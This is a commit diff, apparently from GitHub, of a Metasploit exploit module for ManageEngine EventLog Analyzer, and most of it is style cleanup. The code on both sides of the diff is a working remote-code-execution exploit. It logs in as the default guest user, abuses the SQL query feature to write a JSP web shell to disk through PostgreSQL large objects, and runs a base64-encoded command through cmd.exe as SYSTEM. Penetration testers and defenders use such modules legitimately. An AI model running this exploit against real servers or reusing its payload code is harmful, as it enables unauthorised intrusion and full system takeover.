6
6
require 'msf/core'
7
7
8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
- Rank = ExcellentRanking
9
+ Rank = ManualRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
include Msf ::Exploit ::FileDropper
13
13
include Msf ::Exploit ::Powershell
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => " ManageEngine EventLog Analyzer Remote Code Execution" ,
17
+ 'Name' => ' ManageEngine EventLog Analyzer Remote Code Execution' ,
18
18
'Description' => %q{
19
- This module exploits a SQL query functionality in ManageEngine EventLog Analyzer.
20
- Every authenticated user, including the default "guest" account can execute SQL queries directly
21
- on the underlaying Postres database server. The queries are executed as the "postgres" user
22
- which has full privileges and thus is able to write files to disk. This way a JSP payload
23
- can be uploaded and executed with SYSTEM privileges on the web server.
19
+ This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6
20
+ build 10060 and previous versions. Every authenticated user, including the default "guest"
21
+ account can execute SQL queries directly on the underlying Postgres database server. The
22
+ queries are executed as the "postgres" user which has full privileges and thus is able to
23
+ write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM
24
+ privileges on the web server. This module has been tested successfully on ManageEngine
25
+ EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.
24
26
} ,
25
27
'License' => MSF_LICENSE ,
26
28
'Author' =>
@@ -29,29 +31,28 @@ def initialize(info={})
29
31
] ,
30
32
'References' =>
31
33
[
32
- [ 'EDB' , '38173' ] ,
34
+ [ 'EDB' , '38173' ]
33
35
] ,
34
36
'Platform' => [ 'win' ] ,
35
37
'Arch' => ARCH_X86 ,
36
38
'Targets' =>
37
39
[
38
- [ 'ManageEngine EventLog Analyzer' , { } ]
40
+ [ 'ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1 ' , { } ]
39
41
] ,
40
42
'Privileged' => true ,
41
- 'DisclosureDate' => " Jul 11 2015" ,
43
+ 'DisclosureDate' => ' Jul 11 2015' ,
42
44
'DefaultTarget' => 0 ) )
43
45
44
46
register_options (
45
47
[
46
48
Opt ::RPORT ( 8400 ) ,
47
49
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' , 'guest' ] ) ,
48
- OptString . new ( 'PASSWORD' , [ true , 'The password to authenticate as' , 'guest' ] ) ,
49
- OptInt . new ( 'WAIT' , [ true , 'Seconds to wait for execution of the payload' , 5 ] ) ,
50
+ OptString . new ( 'PASSWORD' , [ true , 'The password to authenticate as' , 'guest' ] )
50
51
] , self . class )
51
52
end
52
53
53
54
def uri
54
- return target_uri . path
55
+ target_uri . path
55
56
end
56
57
57
58
@@ -61,21 +62,20 @@ def check
61
62
62
63
res = send_request_cgi ( {
63
64
'method' => 'GET' ,
64
- 'uri' => normalize_uri ( uri , " event" , " index3.do" )
65
+ 'uri' => normalize_uri ( uri , ' event' , ' index3.do' )
65
66
} )
66
67
67
- if res && res . code == 200 && res . body =~ / ManageEngine EventLog Analyzer/
68
+ if res && res . code == 200 && res . body && res . body . include? ( ' ManageEngine EventLog Analyzer' )
68
69
return Exploit ::CheckCode ::Detected
69
70
else
70
71
return Exploit ::CheckCode ::Safe
71
72
end
72
73
end
73
74
74
-
75
- def sql_query ( cookies , query )
75
+ def sql_query ( cookies , query )
76
76
res = send_request_cgi ( {
77
77
'method' => 'POST' ,
78
- 'uri' => normalize_uri ( uri , " event" , " runQuery.do" ) ,
78
+ 'uri' => normalize_uri ( uri , ' event' , ' runQuery.do' ) ,
79
79
'cookie' => cookies ,
80
80
'vars_post' => {
81
81
'execute' => 'true' ,
@@ -87,26 +87,26 @@ def sql_query( cookies, query )
87
87
fail_with ( Failure ::Unknown , "#{ peer } - Failed executing SQL query!" )
88
88
end
89
89
90
- return res
90
+ res
91
91
end
92
92
93
93
94
94
def generate_jsp_payload ( cmd )
95
95
96
- decoder = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) )
97
- decoded_bytes = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) )
98
- cmd_array = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) )
99
- jcode = "<%"
100
- jcode << "sun.misc.BASE64Decoder #{ decoder } = new sun.misc.BASE64Decoder();\n "
101
- jcode << "byte[] #{ decoded_bytes } = #{ decoder } .decodeBuffer(\" #{ Rex ::Text . encode_base64 ( cmd ) } \" );\n "
102
- jcode << "String [] #{ cmd_array } = new String[3];\n "
103
- jcode << "#{ cmd_array } [0] = \" cmd.exe\" ;\n "
104
- jcode << "#{ cmd_array } [1] = \" /c\" ;\n "
105
- jcode << "#{ cmd_array } [2] = new String(#{ decoded_bytes } , \" UTF-8\" );\n "
106
- jcode << "Runtime.getRuntime().exec(#{ cmd_array } );\n "
107
- jcode << "%>"
108
-
109
- return jcode
96
+ decoder = rand_text_alpha ( 4 + rand ( 32 - 4 ) )
97
+ decoded_bytes = rand_text_alpha ( 4 + rand ( 32 - 4 ) )
98
+ cmd_array = rand_text_alpha ( 4 + rand ( 32 - 4 ) )
99
+ jsp_code = '<%'
100
+ jsp_code << "sun.misc.BASE64Decoder #{ decoder } = new sun.misc.BASE64Decoder();\n "
101
+ jsp_code << "byte[] #{ decoded_bytes } = #{ decoder } .decodeBuffer(\" #{ Rex ::Text . encode_base64 ( cmd ) } \" );\n "
102
+ jsp_code << "String [] #{ cmd_array } = new String[3];\n "
103
+ jsp_code << "#{ cmd_array } [0] = \" cmd.exe\" ;\n "
104
+ jsp_code << "#{ cmd_array } [1] = \" /c\" ;\n "
105
+ jsp_code << "#{ cmd_array } [2] = new String(#{ decoded_bytes } , \" UTF-8\" );\n "
106
+ jsp_code << "Runtime.getRuntime().exec(#{ cmd_array } );\n "
107
+ jsp_code << '%>'
108
+
109
+ jsp_code
110
110
end
111
111
112
112
@@ -115,7 +115,7 @@ def exploit
115
115
print_status ( "#{ peer } - Retrieving JSESSION ID" )
116
116
res = send_request_cgi ( {
117
117
'method' => 'GET' ,
118
- 'uri' => normalize_uri ( uri , " event" , " index3.do" ) ,
118
+ 'uri' => normalize_uri ( uri , ' event' , ' index3.do' ) ,
119
119
} )
120
120
121
121
if res && res . code == 200 && res . get_cookies =~ /JSESSIONID=(\w +);/
@@ -128,7 +128,7 @@ def exploit
128
128
print_status ( "#{ peer } - Access login page" )
129
129
res = send_request_cgi ( {
130
130
'method' => 'POST' ,
131
- 'uri' => normalize_uri ( uri , " event" , "j_security_check;jsessionid=#{ jsessionid } " ) ,
131
+ 'uri' => normalize_uri ( uri , ' event' , "j_security_check;jsessionid=#{ jsessionid } " ) ,
132
132
'vars_post' => {
133
133
'forChecking' => 'null' ,
134
134
'j_username' => datastore [ 'USERNAME' ] ,
@@ -171,11 +171,11 @@ def exploit
171
171
print_status ( "#{ peer } - Executing SQL queries" )
172
172
173
173
# Remove large object in database, just in case it exists from previous exploit attempts
174
- sql = " SELECT lo_unlink(-1)"
174
+ sql = ' SELECT lo_unlink(-1)'
175
175
result = sql_query ( cookies , sql )
176
176
177
177
# Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
178
- sql = " SELECT lo_create(-1)"
178
+ sql = ' SELECT lo_create(-1)'
179
179
result = sql_query ( cookies , sql )
180
180
if result . body =~ /menuItemRow\" >([0-9]+)/
181
181
loid = $1
@@ -196,7 +196,7 @@ def exploit
196
196
sql_query ( cookies , sql )
197
197
198
198
# Remove our large object in the database
199
- sql = " SELECT lo_unlink(-1)"
199
+ sql = ' SELECT lo_unlink(-1)'
200
200
result = sql_query ( cookies , sql )
201
201
202
202
register_file_for_cleanup ( "..\\ webapps\\ event\\ #{ jsp_name } " )
@@ -207,10 +207,9 @@ def exploit
207
207
'uri' => normalize_uri ( uri , jsp_name ) ,
208
208
} )
209
209
210
- sleep ( datastore [ 'WAIT' ] )
211
-
212
210
# If the server returns 200 we assume we uploaded and executed the payload file successfully
213
- if not res or res . code != 200
211
+ unless res && res . code == 200
212
+ print_status ( "#{ res . code } \n #{ res . body } " )
214
213
fail_with ( Failure ::Unknown , "#{ peer } - Payload not executed, aborting!" )
215
214
end
216
215
0 commit comments